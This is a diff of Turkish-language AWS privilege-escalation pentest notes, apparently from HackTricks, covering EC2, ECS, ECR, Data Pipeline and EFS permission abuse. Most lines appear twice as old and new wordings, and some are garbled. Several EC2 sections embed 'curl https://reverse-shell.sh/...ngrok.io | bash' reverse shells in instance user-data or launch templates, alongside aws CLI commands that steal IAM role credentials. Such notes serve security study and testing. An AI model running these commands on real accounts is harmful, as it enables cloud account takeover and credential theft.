Kimlik Kimlikleri, oturum bilgilerini içeren [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) ile ilişkilendirilmiş olabilir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz.
Bir saldırgan bu izinleri, **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kendini kaydetmek** veya **cognito olaylarında tetiklenen bir lambda** kullanmak için de kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgi beklemiyorum, ancak imkansız değil.
Bir saldırgan, bu izinleri kullanarak **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kaydolabilir** veya **cognito olaylarında tetiklenen bir lambda** kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgiler beklemiyorum, ancak imkansız değil.
### Otomatik Araçlar
@@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) , privesc yükseltmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), privesc yükselmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır.
#### Kurulum
```bash

View File

@@ -4,7 +4,7 @@
## datapipeline
Datapipeline hakkında daha fazla bilgi için kontrol edin:
datapipeline hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,11 +12,11 @@ Datapipeline hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturup ayrıcalıkları artırabilir:**
Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturarak ayrıcalıkları artırabilir:**
```bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
```
Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturma işlemlerini belirlemek için tanımını günceller:
Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturmayı belirlemek için tanımını günceller:
```json
{
"objects": [
@@ -50,14 +50,14 @@ Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşt
}
```
> [!NOTE]
> **14, 15 ve 27. satırlardaki** **rolün** **datapipeline.amazonaws.com** tarafından üstlenilebilir bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol olması gerektiğini ve bir EC2 profil örneği ile** olması gerektiğini unutmayın.
> **14, 15 ve 27. satırdaki** **rolün** **datapipeline.amazonaws.com** tarafından **üstlenilebilir** bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol ve bir EC2 profil örneği** olması gerektiğini unutmayın.
>
> Ayrıca, EC2 örneği yalnızca EC2 örneği tarafından üstlenilebilir role erişime sahip olacaktır (bu nedenle yalnızca o rolü çalabilirsiniz).
```bash
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
```
**Saldırgan tarafından oluşturulan pipeline tanım dosyası, komutları yürütmek veya AWS API'si aracılığıyla kaynaklar oluşturmak için direktifler içerir, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme imkanı sağlar.**
Saldırgan tarafından oluşturulan **pipeline tanım dosyası, komutları çalıştırmak veya kaynaklar oluşturmak için AWS API'sini kullanma talimatlarını içerir**, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme amacı taşır.
**Potansiyel Etki:** Belirtilen ec2 hizmet rolüne doğrudan ayrıcalık yükseltme.

View File

@@ -23,10 +23,10 @@ AD'den kullanıcıların giriş yapabileceği bir **uygulama erişim URL'si** et
<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
Ve ardından giriş yaptıklarında onlara bir **AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
Ve ardından giriş yaptıklarında onlara **bir AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermeyi sağlamak için herhangi bir yol yoktur.
Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermek için herhangi bir yol yoktur.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Dynamodb hakkında daha fazla bilgi için kontrol edin:
### Post Exploitation
Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md

View File

@@ -6,7 +6,7 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olacak ve bunlarda hassas bilgileri (gizli anahtarlar veya kaynak kodu gibi) arayabilecektir. Bunu nasıl yapacağınızı bulmak için:
Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olabilir ve bunlarda hassas bilgileri (şifreler veya kaynak kodu gibi) arayabilir. Bunu nasıl yapacağınızı öğrenin:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -20,7 +20,7 @@ Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak i
### **`ec2:CreateSnapshot`**
**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak gerçekleştirebilir.
**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak yapabilir.
Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.

View File

@@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin:
### `iam:PassRole`, `ec2:RunInstances`
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.**
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.
- **SSH ile Erişim**
Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
Yeni bir örnek başlatın ve **oluşturulmuş** **ssh anahtarını** kullanarak (`--key-name`) ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Kullanıcı verisinde rev shell ile erişim**
Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
Yeni bir örnek çalıştırabilirsiniz, bu **kullanıcı verisi** (`--user-data`) size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -65,7 +65,7 @@ Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğr
aws-ecs-privesc.md
{{#endref}}
Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve yorumlanan saldırıyı gerçekleştirebilirsiniz.
Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc.
@@ -80,25 +80,25 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan** bir **örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir:
Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir:
- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **bağlayabilirsiniz** \*
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz** \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- veya **kullanılmış** **örneğin profilini** ele geçirilmiş örneğin (`ec2:ReplaceIamInstanceProfileAssociation`). \*
- veya **kullanılmış** örneğin **örnek profili** (`ec2:ReplaceIamInstanceProfileAssociation`) ile **değiştirin**. \*
````
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
### `ec2:RequestSpotInstances`,`iam:PassRole`
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile birlikte **bağlı bir EC2 Rolü** ile bir **Spot Instance** **talep edebilir**.\
**`ec2:RequestSpotInstances`ve`iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ile bir **Spot Instance** **talep edebilir** ve **kullanıcı verisinde** bir **rev shell** ekleyebilir.\
Örnek çalıştırıldığında, **IAM rolünü çalabilir**.
```bash
REV=$(printf '#!/bin/bash
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potansiyel Etki:** Oluşturulan bir örneğe ekli herhangi bir EC2 IAM Rolüne doğrudan yetki yükseltme.
**Potansiyel Etki:** Oluşturulan bir örneğe bağlı herhangi bir EC2 IAM Rolüne doğrudan yetki yükseltme.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ekleyebilir, varsayılan sürümü değiştirebilir ve **o Başlatma Şablonunu** kullanan **herhangi bir Autoscaler grubu** **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırıldığında**, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Launch Template versiyonu** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan versiyonu değiştirebilir. **O Launch Template'i** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan versiyonu** kullanacak şekilde **yapılandırılmışsa**, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme.
**Olası Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **bir Launch Configuration** oluşturabilir, **IAM Rolü** ve **rev shell** içeren **kullanıcı verisi** ile, ardından o yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ve **rev shell** içeren bir **Launch Configuration** **oluşturabilir**, ardından bu yapılandırmadan **bir autoscaling grubu** **oluşturabilir** ve rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
**`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** izinleri **IAM rolüne yetki yükseltmek için yeterli değildir** çünkü Launch Configuration veya Launch Template'de belirtilen rolü eklemek için **`iam:PassRole` ve `ec2:RunInstances` izinlerine ihtiyacınız var** (bu bilinen bir yetki yükseltmedir).
**`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** izinleri **yetkileri yükseltmek için yeterli değildir** çünkü Launch Configuration veya Launch Template'da belirtilen rolü eklemek için **`iam:PassRole` ve `ec2:RunInstances`** izinlerine ihtiyacınız vardır (bu bilinen bir yetki yükseltmedir).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -213,13 +213,13 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Olası Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme.
**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki artırma.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **seri bağlantıya bir ssh anahtarı ekleyebilir**. Eğer seri etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
Seri porta bağlanmak için ayrıca **makinedeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.**
Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.**
```bash
aws ec2 enable-serial-console-access
@@ -231,7 +231,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerektiğinden, privesc için çok faydalı değildir.
Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerektiğinden, privesc için o kadar faydalı değildir.
**Potansiyel Etki:** (Son derece kanıtlanamaz) Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc.

View File

@@ -14,7 +14,7 @@ Görüntüleri nasıl indireceğiniz hakkında daha fazla bilgi için:
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
**Potansiyel Etki:** Trafikteki hassas bilgileri yakalayarak dolaylı ayrıcalık yükseltme.
**Olası Etki:** Trafikteki hassas bilgileri yakalayarak dolaylı ayrıcalık yükseltme.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
@@ -60,7 +60,7 @@ aws ecr set-repository-policy \
### `ecr-public:SetRepositoryPolicy`
Önceki bölümdeki gibi, ancak kamuya açık depolar için.\
Bir saldırgan, ECR Public deposunun **depo politikasını değiştirebilir** ve yetkisiz kamu erişimi sağlayabilir veya ayrıcalıklarını artırabilir.
Bir saldırgan, yetkisiz kamu erişimi sağlamak veya ayrıcalıklarını artırmak için bir ECR Kamu deposunun **depo politikasını değiştirebilir**.
```bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,7 +87,7 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Potansiyel Etki**: ECR Public deposuna yetkisiz genel erişim, herhangi bir kullanıcının görüntüleri yüklemesine, çekmesine veya silmesine olanak tanır.
**Olası Etki**: ECR Public deposuna yetkisiz genel erişim, herhangi bir kullanıcının görüntüleri yüklemesine, çekmesine veya silmesine olanak tanır.
### `ecr:PutRegistryPolicy`

View File

@@ -32,12 +32,12 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potansiyel Etki:** Farklı bir ECS rolüne doğrudan yetki yükseltme.
**Potansiyel Etki:** Farklı bir ECS rolüne doğrudan yetki artırma.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** bir **kötü niyetli konteyner** ile **yeni bir görev tanımı oluşturabilir** ve **bunu çalıştırabilir**.\
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
Ancak, bu durumda kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -53,11 +53,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme.
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan privesc.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanan bir saldırgan, **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.**
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** veya **`ecs:CreateService`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **en az 1 görev çalıştırarak yeni bir hizmet oluşturarak bunu çalıştırabilir.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -98,10 +98,10 @@ aws ecs run-task \
Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\
Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve onların kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
> [!WARNING]
> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür.
> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
```bash
printf '[
{
@@ -144,7 +144,7 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, **çalışan bir konteynerin** içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir).
Bu nedenle, saldırgan şunları denemek isteyebilir:
@@ -174,7 +174,7 @@ aws ecs execute-command --interactive \
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
**Potansiyel Etki:** Konteynerlere bağlı farklı bir role privesc.
**Olası Etki:** Farklı bir role privesc, konteynerlere eklenmiş.
### `ssm:StartSession`
@@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potansiyel Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
**Olası Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir.
## Referanslar

View File

@@ -10,7 +10,7 @@ Daha fazla **EFS hakkında bilgi** için:
../aws-services/aws-efs-enum.md
{{#endref}}
EFS'yi bağlamak için, EFS'nin açıldığı bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Eğer bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir.
Bir EFS'yi bağlamak için, EFS'nin açık olduğu bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir.
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
@@ -58,29 +58,29 @@ Bu izinle bir saldırgan **EFS'yi monte edebilir**. Eğer yazma izni, EFS'yi mon
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
```
Ekstra izinler `elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite`, dosya sistemi monte edildikten sonra **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir.
`elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite` ek izinleri, dosya sistemi monte edildikten sonra içinde **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir.
**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme.
**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
### `elasticfilesystem:CreateMountTarget`
Eğer bir saldırgan **alt ağda** EFS'nin **hiçbir montaj hedefi** yoksa, bu yetki ile **kendi alt ağında bir tane oluşturabilir.**
Eğer bir saldırgan **alt ağda** ise ve EFS'nin **hiçbir montaj hedefi** yoksa, bu yetkiyle **kendi alt ağında bir tane oluşturabilir**.
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Potansiyel Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme.
**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
Bir saldırganın EFS'nin kendi alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:**
